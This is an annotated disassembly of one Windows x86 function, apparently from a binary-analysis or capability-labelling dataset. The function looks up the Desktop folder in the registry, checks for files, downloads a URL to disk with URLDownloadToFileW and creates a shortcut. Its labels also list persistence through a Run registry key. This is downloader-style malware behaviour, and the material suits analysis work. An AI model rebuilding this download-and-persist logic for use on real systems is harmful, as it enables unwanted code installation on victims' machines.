Function at 0x401030
Capabilities:
Check if file exists
Create shortcut via ishelllink
Download url
Persist via run registry key
Query or enumerate registry value
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e6d6
mov eax, dword fs:[0]
push eax
sub esp, 0x44c
mov eax, dword [0x416008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x200
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 3
push 0
push eax
call fcn.00409db0
lea eax, [ebp + 0x38]
push eax
lea ecx, [ebp - 0x428]
call fcn.00401740
add esp, 0x10
lea eax, [ebp - 0x450]
mov byte [ebp - 4], 4
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010e9
lea eax, [ebp - 0x444]
mov dword [ebp - 0x444], 0x200
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x448]
push eax
push 0
push str.Desktop
push dword [ebp - 0x450]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x450]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x42c], 7
mov dword [ebp - 0x430], 0
mov word [ebp - 0x440], ax
cmp word [ebp - 0x410], ax
jne 0x401113
xor ecx, ecx
jmp 0x40112f
lea ecx, [ebp - 0x410]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401120
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x440]
call fcn.00401c20
push 1
push 0x41450c
lea ecx, [ebp - 0x440]
mov byte [ebp - 4], 5
call fcn.00401610
push 0xffffffffffffffff
push 0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x440]
call fcn.00401500
cmp dword [ebp - 0x42c], 8
lea eax, [ebp - 0x440]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmovae eax, dword [ebp - 0x440]
push eax
call esi
test eax, eax
jne 0x4012c0
cmp dword [ebp - 0x414], 8
lea eax, [ebp - 0x428]
cmovae eax, dword [ebp - 0x428]
push eax
call esi
cmp dword [ebp - 0x414], 8
lea ecx, [ebp - 0x428]
push 0
cmovae ecx, dword [ebp - 0x428]
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
push 0
cmovae eax, dword [ebp + 0x20]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x4012c0
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x4012c0
lea eax, [ebp - 0x44c]
push eax
push 0x40f1a8
push 1
push 0
push 0x40f1b8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4012ba
mov eax, dword [ebp - 0x44c]
lea edx, [ebp + 0x50]
cmp dword [ebp + 0x64], 8
cmovae edx, dword [ebp + 0x50]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x50]
cmp dword [ebp - 0x414], 8
lea eax, [ebp - 0x428]
cmovae eax, dword [ebp - 0x428]
push eax
call esi
test eax, eax
je 0x401264
mov eax, dword [ebp - 0x44c]
lea edx, [ebp - 0x428]
cmp dword [ebp - 0x414], 8
push 0
cmovae edx, dword [ebp - 0x428]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x44c]
lea edx, [ebp - 0x454]
push edx
push 0x40f1c8
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x4012ae
mov eax, dword [ebp - 0x454]
lea edx, [ebp - 0x440]
cmp dword [ebp - 0x42c], 8
push 1
cmovae edx, dword [ebp - 0x440]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x454]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x44c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x42c], 8
jb 0x4012d7
push dword [ebp - 0x440]
call fcn.0040259c
add esp, 4
xor eax, eax
mov dword [ebp - 0x42c], 7
cmp dword [ebp - 0x414], 8
mov word [ebp - 0x440], ax
mov dword [ebp - 0x430], eax
jb 0x401307
push dword [ebp - 0x428]
call fcn.0040259c
add esp, 4
xor eax, eax
mov dword [ebp - 0x414], 7
cmp dword [ebp + 0x1c], 8
mov word [ebp - 0x428], ax
mov dword [ebp - 0x418], eax
jb 0x401331
push dword [ebp + 8]
call fcn.0040259c
add esp, 4
xor eax, eax
mov dword [ebp + 0x1c], 7
cmp dword [ebp + 0x34], 8
mov dword [ebp + 0x18], 0
mov word [ebp + 8], ax
jb 0x401356
push dword [ebp + 0x20]
call fcn.0040259c
add esp, 4
xor eax, eax
mov dword [ebp + 0x34], 7
cmp dword [ebp + 0x4c], 8
mov dword [ebp + 0x30], 0
mov word [ebp + 0x20], ax
jb 0x40137b
push dword [ebp + 0x38]
call fcn.0040259c
add esp, 4
xor eax, eax
mov dword [ebp + 0x4c], 7
cmp dword [ebp + 0x64], 8
mov dword [ebp + 0x48], 0
mov word [ebp + 0x38], ax
jb 0x4013a0
push dword [ebp + 0x50]
call fcn.0040259c
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040258d
mov esp, ebp
pop ebp
ret